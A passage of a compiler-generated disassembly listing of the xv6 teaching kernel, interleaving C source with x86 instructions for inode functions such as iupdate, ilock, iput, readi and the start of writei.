log_write(bp); // mark it allocated on the disk
8010159d: 89 3c 24 mov %edi,(%esp)
801015a0: e8 ab 18 00 00 call 80102e50 <log_write>
brelse(bp);
801015a5: 89 3c 24 mov %edi,(%esp)
801015a8: e8 33 ec ff ff call 801001e0 <brelse>
return iget(dev, inum);
801015ad: 83 c4 10 add $0x10,%esp
}
801015b0: 8d 65 f4 lea -0xc(%ebp),%esp
return iget(dev, inum);
801015b3: 89 da mov %ebx,%edx
801015b5: 89 f0 mov %esi,%eax
}
801015b7: 5b pop %ebx
801015b8: 5e pop %esi
801015b9: 5f pop %edi
801015ba: 5d pop %ebp
return iget(dev, inum);
801015bb: e9 d0 fc ff ff jmp 80101290 <iget>
panic("ialloc: no inodes");
801015c0: 83 ec 0c sub $0xc,%esp
801015c3: 68 78 74 10 80 push $0x80107478
801015c8: e8 c3 ed ff ff call 80100390 <panic>
801015cd: 8d 76 00 lea 0x0(%esi),%esi
801015d0 <iupdate>:
{
801015d0: 55 push %ebp
801015d1: 89 e5 mov %esp,%ebp
801015d3: 56 push %esi
801015d4: 53 push %ebx
801015d5: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015d8: 83 ec 08 sub $0x8,%esp
801015db: 8b 43 04 mov 0x4(%ebx),%eax
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015de: 83 c3 5c add $0x5c,%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015e1: c1 e8 03 shr $0x3,%eax
801015e4: 03 05 f4 09 11 80 add 0x801109f4,%eax
801015ea: 50 push %eax
801015eb: ff 73 a4 pushl -0x5c(%ebx)
801015ee: e8 dd ea ff ff call 801000d0 <bread>
801015f3: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
801015f5: 8b 43 a8 mov -0x58(%ebx),%eax
dip->type = ip->type;
801015f8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015fc: 83 c4 0c add $0xc,%esp
dip = (struct dinode*)bp->data + ip->inum%IPB;
801015ff: 83 e0 07 and $0x7,%eax
80101602: c1 e0 06 shl $0x6,%eax
80101605: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
dip->type = ip->type;
80101609: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
8010160c: 0f b7 53 f6 movzwl -0xa(%ebx),%edx
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101610: 83 c0 0c add $0xc,%eax
dip->major = ip->major;
80101613: 66 89 50 f6 mov %dx,-0xa(%eax)
dip->minor = ip->minor;
80101617: 0f b7 53 f8 movzwl -0x8(%ebx),%edx
8010161b: 66 89 50 f8 mov %dx,-0x8(%eax)
dip->nlink = ip->nlink;
8010161f: 0f b7 53 fa movzwl -0x6(%ebx),%edx
80101623: 66 89 50 fa mov %dx,-0x6(%eax)
dip->size = ip->size;
80101627: 8b 53 fc mov -0x4(%ebx),%edx
8010162a: 89 50 fc mov %edx,-0x4(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010162d: 6a 34 push $0x34
8010162f: 53 push %ebx
80101630: 50 push %eax
80101631: e8 ea 30 00 00 call 80104720 <memmove>
log_write(bp);
80101636: 89 34 24 mov %esi,(%esp)
80101639: e8 12 18 00 00 call 80102e50 <log_write>
brelse(bp);
8010163e: 89 75 08 mov %esi,0x8(%ebp)
80101641: 83 c4 10 add $0x10,%esp
}
80101644: 8d 65 f8 lea -0x8(%ebp),%esp
80101647: 5b pop %ebx
80101648: 5e pop %esi
80101649: 5d pop %ebp
brelse(bp);
8010164a: e9 91 eb ff ff jmp 801001e0 <brelse>
8010164f: 90 nop
80101650 <idup>:
{
80101650: 55 push %ebp
80101651: 89 e5 mov %esp,%ebp
80101653: 53 push %ebx
80101654: 83 ec 10 sub $0x10,%esp
80101657: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010165a: 68 00 0a 11 80 push $0x80110a00
8010165f: e8 fc 2e 00 00 call 80104560 <acquire>
ip->ref++;
80101664: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
80101668: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010166f: e8 ac 2f 00 00 call 80104620 <release>
}
80101674: 89 d8 mov %ebx,%eax
80101676: 8b 5d fc mov -0x4(%ebp),%ebx
80101679: c9 leave
8010167a: c3 ret
8010167b: 90 nop
8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101680 <ilock>:
{
80101680: 55 push %ebp
80101681: 89 e5 mov %esp,%ebp
80101683: 56 push %esi
80101684: 53 push %ebx
80101685: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || ip->ref < 1)
80101688: 85 db test %ebx,%ebx
8010168a: 0f 84 b7 00 00 00 je 80101747 <ilock+0xc7>
80101690: 8b 53 08 mov 0x8(%ebx),%edx
80101693: 85 d2 test %edx,%edx
80101695: 0f 8e ac 00 00 00 jle 80101747 <ilock+0xc7>
acquiresleep(&ip->lock);
8010169b: 8d 43 0c lea 0xc(%ebx),%eax
8010169e: 83 ec 0c sub $0xc,%esp
801016a1: 50 push %eax
801016a2: e8 89 2c 00 00 call 80104330 <acquiresleep>
if(ip->valid == 0){
801016a7: 8b 43 4c mov 0x4c(%ebx),%eax
801016aa: 83 c4 10 add $0x10,%esp
801016ad: 85 c0 test %eax,%eax
801016af: 74 0f je 801016c0 <ilock+0x40>
}
801016b1: 8d 65 f8 lea -0x8(%ebp),%esp
801016b4: 5b pop %ebx
801016b5: 5e pop %esi
801016b6: 5d pop %ebp
801016b7: c3 ret
801016b8: 90 nop
801016b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016c0: 8b 43 04 mov 0x4(%ebx),%eax
801016c3: 83 ec 08 sub $0x8,%esp
801016c6: c1 e8 03 shr $0x3,%eax
801016c9: 03 05 f4 09 11 80 add 0x801109f4,%eax
801016cf: 50 push %eax
801016d0: ff 33 pushl (%ebx)
801016d2: e8 f9 e9 ff ff call 801000d0 <bread>
801016d7: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016d9: 8b 43 04 mov 0x4(%ebx),%eax
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801016dc: 83 c4 0c add $0xc,%esp
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016df: 83 e0 07 and $0x7,%eax
801016e2: c1 e0 06 shl $0x6,%eax
801016e5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
ip->type = dip->type;
801016e9: 0f b7 10 movzwl (%eax),%edx
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801016ec: 83 c0 0c add $0xc,%eax
ip->type = dip->type;
801016ef: 66 89 53 50 mov %dx,0x50(%ebx)
ip->major = dip->major;
801016f3: 0f b7 50 f6 movzwl -0xa(%eax),%edx
801016f7: 66 89 53 52 mov %dx,0x52(%ebx)
ip->minor = dip->minor;
801016fb: 0f b7 50 f8 movzwl -0x8(%eax),%edx
801016ff: 66 89 53 54 mov %dx,0x54(%ebx)
ip->nlink = dip->nlink;
80101703: 0f b7 50 fa movzwl -0x6(%eax),%edx
80101707: 66 89 53 56 mov %dx,0x56(%ebx)
ip->size = dip->size;
8010170b: 8b 50 fc mov -0x4(%eax),%edx
8010170e: 89 53 58 mov %edx,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101711: 6a 34 push $0x34
80101713: 50 push %eax
80101714: 8d 43 5c lea 0x5c(%ebx),%eax
80101717: 50 push %eax
80101718: e8 03 30 00 00 call 80104720 <memmove>
brelse(bp);
8010171d: 89 34 24 mov %esi,(%esp)
80101720: e8 bb ea ff ff call 801001e0 <brelse>
if(ip->type == 0)
80101725: 83 c4 10 add $0x10,%esp
80101728: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
ip->valid = 1;
8010172d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101734: 0f 85 77 ff ff ff jne 801016b1 <ilock+0x31>
panic("ilock: no type");
8010173a: 83 ec 0c sub $0xc,%esp
8010173d: 68 90 74 10 80 push $0x80107490
80101742: e8 49 ec ff ff call 80100390 <panic>
panic("ilock");
80101747: 83 ec 0c sub $0xc,%esp
8010174a: 68 8a 74 10 80 push $0x8010748a
8010174f: e8 3c ec ff ff call 80100390 <panic>
80101754: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010175a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101760 <iunlock>:
{
80101760: 55 push %ebp
80101761: 89 e5 mov %esp,%ebp
80101763: 56 push %esi
80101764: 53 push %ebx
80101765: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
80101768: 85 db test %ebx,%ebx
8010176a: 74 28 je 80101794 <iunlock+0x34>
8010176c: 8d 73 0c lea 0xc(%ebx),%esi
8010176f: 83 ec 0c sub $0xc,%esp
80101772: 56 push %esi
80101773: e8 58 2c 00 00 call 801043d0 <holdingsleep>
80101778: 83 c4 10 add $0x10,%esp
8010177b: 85 c0 test %eax,%eax
8010177d: 74 15 je 80101794 <iunlock+0x34>
8010177f: 8b 43 08 mov 0x8(%ebx),%eax
80101782: 85 c0 test %eax,%eax
80101784: 7e 0e jle 80101794 <iunlock+0x34>
releasesleep(&ip->lock);
80101786: 89 75 08 mov %esi,0x8(%ebp)
}
80101789: 8d 65 f8 lea -0x8(%ebp),%esp
8010178c: 5b pop %ebx
8010178d: 5e pop %esi
8010178e: 5d pop %ebp
releasesleep(&ip->lock);
8010178f: e9 fc 2b 00 00 jmp 80104390 <releasesleep>
panic("iunlock");
80101794: 83 ec 0c sub $0xc,%esp
80101797: 68 9f 74 10 80 push $0x8010749f
8010179c: e8 ef eb ff ff call 80100390 <panic>
801017a1: eb 0d jmp 801017b0 <iput>
801017a3: 90 nop
801017a4: 90 nop
801017a5: 90 nop
801017a6: 90 nop
801017a7: 90 nop
801017a8: 90 nop
801017a9: 90 nop
801017aa: 90 nop
801017ab: 90 nop
801017ac: 90 nop
801017ad: 90 nop
801017ae: 90 nop
801017af: 90 nop
801017b0 <iput>:
{
801017b0: 55 push %ebp
801017b1: 89 e5 mov %esp,%ebp
801017b3: 57 push %edi
801017b4: 56 push %esi
801017b5: 53 push %ebx
801017b6: 83 ec 28 sub $0x28,%esp
801017b9: 8b 5d 08 mov 0x8(%ebp),%ebx
acquiresleep(&ip->lock);
801017bc: 8d 7b 0c lea 0xc(%ebx),%edi
801017bf: 57 push %edi
801017c0: e8 6b 2b 00 00 call 80104330 <acquiresleep>
if(ip->valid && ip->nlink == 0){
801017c5: 8b 53 4c mov 0x4c(%ebx),%edx
801017c8: 83 c4 10 add $0x10,%esp
801017cb: 85 d2 test %edx,%edx
801017cd: 74 07 je 801017d6 <iput+0x26>
801017cf: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
801017d4: 74 32 je 80101808 <iput+0x58>
releasesleep(&ip->lock);
801017d6: 83 ec 0c sub $0xc,%esp
801017d9: 57 push %edi
801017da: e8 b1 2b 00 00 call 80104390 <releasesleep>
acquire(&icache.lock);
801017df: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801017e6: e8 75 2d 00 00 call 80104560 <acquire>
ip->ref--;
801017eb: 83 6b 08 01 subl $0x1,0x8(%ebx)
release(&icache.lock);
801017ef: 83 c4 10 add $0x10,%esp
801017f2: c7 45 08 00 0a 11 80 movl $0x80110a00,0x8(%ebp)
}
801017f9: 8d 65 f4 lea -0xc(%ebp),%esp
801017fc: 5b pop %ebx
801017fd: 5e pop %esi
801017fe: 5f pop %edi
801017ff: 5d pop %ebp
release(&icache.lock);
80101800: e9 1b 2e 00 00 jmp 80104620 <release>
80101805: 8d 76 00 lea 0x0(%esi),%esi
acquire(&icache.lock);
80101808: 83 ec 0c sub $0xc,%esp
8010180b: 68 00 0a 11 80 push $0x80110a00
80101810: e8 4b 2d 00 00 call 80104560 <acquire>
int r = ip->ref;
80101815: 8b 73 08 mov 0x8(%ebx),%esi
release(&icache.lock);
80101818: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010181f: e8 fc 2d 00 00 call 80104620 <release>
if(r == 1){
80101824: 83 c4 10 add $0x10,%esp
80101827: 83 fe 01 cmp $0x1,%esi
8010182a: 75 aa jne 801017d6 <iput+0x26>
8010182c: 8d 8b 8c 00 00 00 lea 0x8c(%ebx),%ecx
80101832: 89 7d e4 mov %edi,-0x1c(%ebp)
80101835: 8d 73 5c lea 0x5c(%ebx),%esi
80101838: 89 cf mov %ecx,%edi
8010183a: eb 0b jmp 80101847 <iput+0x97>
8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101840: 83 c6 04 add $0x4,%esi
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101843: 39 fe cmp %edi,%esi
80101845: 74 19 je 80101860 <iput+0xb0>
if(ip->addrs[i]){
80101847: 8b 16 mov (%esi),%edx
80101849: 85 d2 test %edx,%edx
8010184b: 74 f3 je 80101840 <iput+0x90>
bfree(ip->dev, ip->addrs[i]);
8010184d: 8b 03 mov (%ebx),%eax
8010184f: e8 bc f8 ff ff call 80101110 <bfree>
ip->addrs[i] = 0;
80101854: c7 06 00 00 00 00 movl $0x0,(%esi)
8010185a: eb e4 jmp 80101840 <iput+0x90>
8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
}
if(ip->addrs[NDIRECT]){
80101860: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax
80101866: 8b 7d e4 mov -0x1c(%ebp),%edi
80101869: 85 c0 test %eax,%eax
8010186b: 75 33 jne 801018a0 <iput+0xf0>
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
iupdate(ip);
8010186d: 83 ec 0c sub $0xc,%esp
ip->size = 0;
80101870: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
iupdate(ip);
80101877: 53 push %ebx
80101878: e8 53 fd ff ff call 801015d0 <iupdate>
ip->type = 0;
8010187d: 31 c0 xor %eax,%eax
8010187f: 66 89 43 50 mov %ax,0x50(%ebx)
iupdate(ip);
80101883: 89 1c 24 mov %ebx,(%esp)
80101886: e8 45 fd ff ff call 801015d0 <iupdate>
ip->valid = 0;
8010188b: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx)
80101892: 83 c4 10 add $0x10,%esp
80101895: e9 3c ff ff ff jmp 801017d6 <iput+0x26>
8010189a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018a0: 83 ec 08 sub $0x8,%esp
801018a3: 50 push %eax
801018a4: ff 33 pushl (%ebx)
801018a6: e8 25 e8 ff ff call 801000d0 <bread>
801018ab: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx
801018b1: 89 7d e0 mov %edi,-0x20(%ebp)
801018b4: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
801018b7: 8d 70 5c lea 0x5c(%eax),%esi
801018ba: 83 c4 10 add $0x10,%esp
801018bd: 89 cf mov %ecx,%edi
801018bf: eb 0e jmp 801018cf <iput+0x11f>
801018c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801018c8: 83 c6 04 add $0x4,%esi
for(j = 0; j < NINDIRECT; j++){
801018cb: 39 fe cmp %edi,%esi
801018cd: 74 0f je 801018de <iput+0x12e>
if(a[j])
801018cf: 8b 16 mov (%esi),%edx
801018d1: 85 d2 test %edx,%edx
801018d3: 74 f3 je 801018c8 <iput+0x118>
bfree(ip->dev, a[j]);
801018d5: 8b 03 mov (%ebx),%eax
801018d7: e8 34 f8 ff ff call 80101110 <bfree>
801018dc: eb ea jmp 801018c8 <iput+0x118>
brelse(bp);
801018de: 83 ec 0c sub $0xc,%esp
801018e1: ff 75 e4 pushl -0x1c(%ebp)
801018e4: 8b 7d e0 mov -0x20(%ebp),%edi
801018e7: e8 f4 e8 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
801018ec: 8b 93 8c 00 00 00 mov 0x8c(%ebx),%edx
801018f2: 8b 03 mov (%ebx),%eax
801018f4: e8 17 f8 ff ff call 80101110 <bfree>
ip->addrs[NDIRECT] = 0;
801018f9: c7 83 8c 00 00 00 00 movl $0x0,0x8c(%ebx)
80101900: 00 00 00
80101903: 83 c4 10 add $0x10,%esp
80101906: e9 62 ff ff ff jmp 8010186d <iput+0xbd>
8010190b: 90 nop
8010190c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101910 <iunlockput>:
{
80101910: 55 push %ebp
80101911: 89 e5 mov %esp,%ebp
80101913: 53 push %ebx
80101914: 83 ec 10 sub $0x10,%esp
80101917: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
8010191a: 53 push %ebx
8010191b: e8 40 fe ff ff call 80101760 <iunlock>
iput(ip);
80101920: 89 5d 08 mov %ebx,0x8(%ebp)
80101923: 83 c4 10 add $0x10,%esp
}
80101926: 8b 5d fc mov -0x4(%ebp),%ebx
80101929: c9 leave
iput(ip);
8010192a: e9 81 fe ff ff jmp 801017b0 <iput>
8010192f: 90 nop
80101930 <stati>:
// Copy stat information from inode.
// Caller must hold ip->lock.
void
stati(struct inode *ip, struct stat *st)
{
80101930: 55 push %ebp
80101931: 89 e5 mov %esp,%ebp
80101933: 8b 55 08 mov 0x8(%ebp),%edx
80101936: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101939: 8b 0a mov (%edx),%ecx
8010193b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010193e: 8b 4a 04 mov 0x4(%edx),%ecx
80101941: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101944: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101948: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010194b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010194f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101953: 8b 52 58 mov 0x58(%edx),%edx
80101956: 89 50 10 mov %edx,0x10(%eax)
}
80101959: 5d pop %ebp
8010195a: c3 ret
8010195b: 90 nop
8010195c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101960 <readi>:
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101960: 55 push %ebp
80101961: 89 e5 mov %esp,%ebp
80101963: 57 push %edi
80101964: 56 push %esi
80101965: 53 push %ebx
80101966: 83 ec 1c sub $0x1c,%esp
80101969: 8b 45 08 mov 0x8(%ebp),%eax
8010196c: 8b 75 0c mov 0xc(%ebp),%esi
8010196f: 8b 7d 14 mov 0x14(%ebp),%edi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101972: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
{
80101977: 89 75 e0 mov %esi,-0x20(%ebp)
8010197a: 89 45 d8 mov %eax,-0x28(%ebp)
8010197d: 8b 75 10 mov 0x10(%ebp),%esi
80101980: 89 7d e4 mov %edi,-0x1c(%ebp)
if(ip->type == T_DEV){
80101983: 0f 84 a7 00 00 00 je 80101a30 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101989: 8b 45 d8 mov -0x28(%ebp),%eax
8010198c: 8b 40 58 mov 0x58(%eax),%eax
8010198f: 39 c6 cmp %eax,%esi
80101991: 0f 87 ba 00 00 00 ja 80101a51 <readi+0xf1>
80101997: 8b 7d e4 mov -0x1c(%ebp),%edi
8010199a: 89 f9 mov %edi,%ecx
8010199c: 01 f1 add %esi,%ecx
8010199e: 0f 82 ad 00 00 00 jb 80101a51 <readi+0xf1>
return -1;
if(off + n > ip->size)
n = ip->size - off;
801019a4: 89 c2 mov %eax,%edx
801019a6: 29 f2 sub %esi,%edx
801019a8: 39 c8 cmp %ecx,%eax
801019aa: 0f 43 d7 cmovae %edi,%edx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019ad: 31 ff xor %edi,%edi
801019af: 85 d2 test %edx,%edx
n = ip->size - off;
801019b1: 89 55 e4 mov %edx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019b4: 74 6c je 80101a22 <readi+0xc2>
801019b6: 8d 76 00 lea 0x0(%esi),%esi
801019b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019c0: 8b 5d d8 mov -0x28(%ebp),%ebx
801019c3: 89 f2 mov %esi,%edx
801019c5: c1 ea 09 shr $0x9,%edx
801019c8: 89 d8 mov %ebx,%eax
801019ca: e8 91 f9 ff ff call 80101360 <bmap>
801019cf: 83 ec 08 sub $0x8,%esp
801019d2: 50 push %eax
801019d3: ff 33 pushl (%ebx)
801019d5: e8 f6 e6 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
801019da: 8b 5d e4 mov -0x1c(%ebp),%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019dd: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
801019df: 89 f0 mov %esi,%eax
801019e1: 25 ff 01 00 00 and $0x1ff,%eax
801019e6: b9 00 02 00 00 mov $0x200,%ecx
801019eb: 83 c4 0c add $0xc,%esp
801019ee: 29 c1 sub %eax,%ecx
memmove(dst, bp->data + off%BSIZE, m);
801019f0: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
801019f4: 89 55 dc mov %edx,-0x24(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
801019f7: 29 fb sub %edi,%ebx
801019f9: 39 d9 cmp %ebx,%ecx
801019fb: 0f 46 d9 cmovbe %ecx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019fe: 53 push %ebx
801019ff: 50 push %eax
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a00: 01 df add %ebx,%edi
memmove(dst, bp->data + off%BSIZE, m);
80101a02: ff 75 e0 pushl -0x20(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a05: 01 de add %ebx,%esi
memmove(dst, bp->data + off%BSIZE, m);
80101a07: e8 14 2d 00 00 call 80104720 <memmove>
brelse(bp);
80101a0c: 8b 55 dc mov -0x24(%ebp),%edx
80101a0f: 89 14 24 mov %edx,(%esp)
80101a12: e8 c9 e7 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a17: 01 5d e0 add %ebx,-0x20(%ebp)
80101a1a: 83 c4 10 add $0x10,%esp
80101a1d: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101a20: 77 9e ja 801019c0 <readi+0x60>
}
return n;
80101a22: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101a25: 8d 65 f4 lea -0xc(%ebp),%esp
80101a28: 5b pop %ebx
80101a29: 5e pop %esi
80101a2a: 5f pop %edi
80101a2b: 5d pop %ebp
80101a2c: c3 ret
80101a2d: 8d 76 00 lea 0x0(%esi),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a30: 0f bf 40 52 movswl 0x52(%eax),%eax
80101a34: 66 83 f8 09 cmp $0x9,%ax
80101a38: 77 17 ja 80101a51 <readi+0xf1>
80101a3a: 8b 04 c5 80 09 11 80 mov -0x7feef680(,%eax,8),%eax
80101a41: 85 c0 test %eax,%eax
80101a43: 74 0c je 80101a51 <readi+0xf1>
return devsw[ip->major].read(ip, dst, n);
80101a45: 89 7d 10 mov %edi,0x10(%ebp)
}
80101a48: 8d 65 f4 lea -0xc(%ebp),%esp
80101a4b: 5b pop %ebx
80101a4c: 5e pop %esi
80101a4d: 5f pop %edi
80101a4e: 5d pop %ebp
return devsw[ip->major].read(ip, dst, n);
80101a4f: ff e0 jmp *%eax
return -1;
80101a51: b8 ff ff ff ff mov $0xffffffff,%eax
80101a56: eb cd jmp 80101a25 <readi+0xc5>
80101a58: 90 nop
80101a59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101a60 <writei>:
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a60: 55 push %ebp
80101a61: 89 e5 mov %esp,%ebp
80101a63: 57 push %edi
80101a64: 56 push %esi
80101a65: 53 push %ebx
80101a66: 83 ec 1c sub $0x1c,%esp
80101a69: 8b 45 08 mov 0x8(%ebp),%eax
80101a6c: 8b 75 0c mov 0xc(%ebp),%esi
80101a6f: 8b 7d 14 mov 0x14(%ebp),%edi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a72: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
{
80101a77: 89 75 dc mov %esi,-0x24(%ebp)
80101a7a: 89 45 d8 mov %eax,-0x28(%ebp)
80101a7d: 8b 75 10 mov 0x10(%ebp),%esi
80101a80: 89 7d e0 mov %edi,-0x20(%ebp)
if(ip->type == T_DEV){
80101a83: 0f 84 b7 00 00 00 je 80101b40 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101a89: 8b 45 d8 mov -0x28(%ebp),%eax
80101a8c: 39 70 58 cmp %esi,0x58(%eax)
80101a8f: 0f 82 eb 00 00 00 jb 80101b80 <writei+0x120>
80101a95: 8b 7d e0 mov -0x20(%ebp),%edi
80101a98: 31 d2 xor %edx,%edx
80101a9a: 89 f8 mov %edi,%eax
80101a9c: 01 f0 add %esi,%eax
80101a9e: 0f 92 c2 setb %dl
return -1;
if(off + n > MAXFILE*BSIZE)
80101aa1: 3d 00 18 01 00 cmp $0x11800,%eax
80101aa6: 0f 87 d4 00 00 00 ja 80101b80 <writei+0x120>
80101aac: 85 d2 test %edx,%edx
80101aae: 0f 85 cc 00 00 00 jne 80101b80 <writei+0x120>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101ab4: 85 ff test %edi,%edi
80101ab6: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101abd: 74 72 je 80101b31 <writei+0xd1>
80101abf: 90 nop
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ac0: 8b 7d d8 mov -0x28(%ebp),%edi
80101ac3: 89 f2 mov %esi,%edx
80101ac5: c1 ea 09 shr $0x9,%edx
80101ac8: 89 f8 mov %edi,%eax
80101aca: e8 91 f8 ff ff call 80101360 <bmap>
80101acf: 83 ec 08 sub $0x8,%esp
80101ad2: 50 push %eax
80101ad3: ff 37 pushl (%edi)
80101ad5: e8 f6 e5 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101ada: 8b 5d e0 mov -0x20(%ebp),%ebx
80101add: 2b 5d e4 sub -0x1c(%ebp),%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ae0: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101ae2: 89 f0 mov %esi,%eax
80101ae4: b9 00 02 00 00 mov $0x200,%ecx
80101ae9: 83 c4 0c add $0xc,%esp
80101aec: 25 ff 01 00 00 and $0x1ff,%eax
80101af1: 29 c1 sub %eax,%ecx
memmove(bp->data + off%BSIZE, src, m);
80101af3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax
m = min(n - tot, BSIZE - off%BSIZE);
80101af7: 39 d9 cmp %ebx,%ecx
80101af9: 0f 46 d9 cmovbe %ecx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101afc: 53 push %ebx
80101afd: ff 75 dc pushl -0x24(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101b00: 01 de add %ebx,%esi
memmove(bp->data + off%BSIZE, src, m);
80101b02: 50 push %eax
80101b03: e8 18 2c 00 00 call 80104720 <memmove>
log_write(bp);
80101b08: 89 3c 24 mov %edi,(%esp)
80101b0b: e8 40 13 00 00 call 80102e50 <log_write>
brelse(bp);
80101b10: 89 3c 24 mov %edi,(%esp)
80101b13: e8 c8 e6 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101b18: 01 5d e4 add %ebx,-0x1c(%ebp)
80101b1b: 01 5d dc add %ebx,-0x24(%ebp)
80101b1e: 83 c4 10 add $0x10,%esp
80101b21: 8b 45 e4 mov -0x1c(%ebp),%eax
80101b24: 39 45 e0 cmp %eax,-0x20(%ebp)
80101b27: 77 97 ja 80101ac0 <writei+0x60>
}
if(n > 0 && off > ip->size){
80101b29: 8b 45 d8 mov -0x28(%ebp),%eax
80101b2c: 3b 70 58 cmp 0x58(%eax),%esi
80101b2f: 77 37 ja 80101b68 <writei+0x108>
ip->size = off;
iupdate(ip);
}
return n;
80101b31: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101b34: 8d 65 f4 lea -0xc(%ebp),%esp
80101b37: 5b pop %ebx
80101b38: 5e pop %esi
80101b39: 5f pop %edi
80101b3a: 5d pop %ebp
80101b3b: c3 ret
80101b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
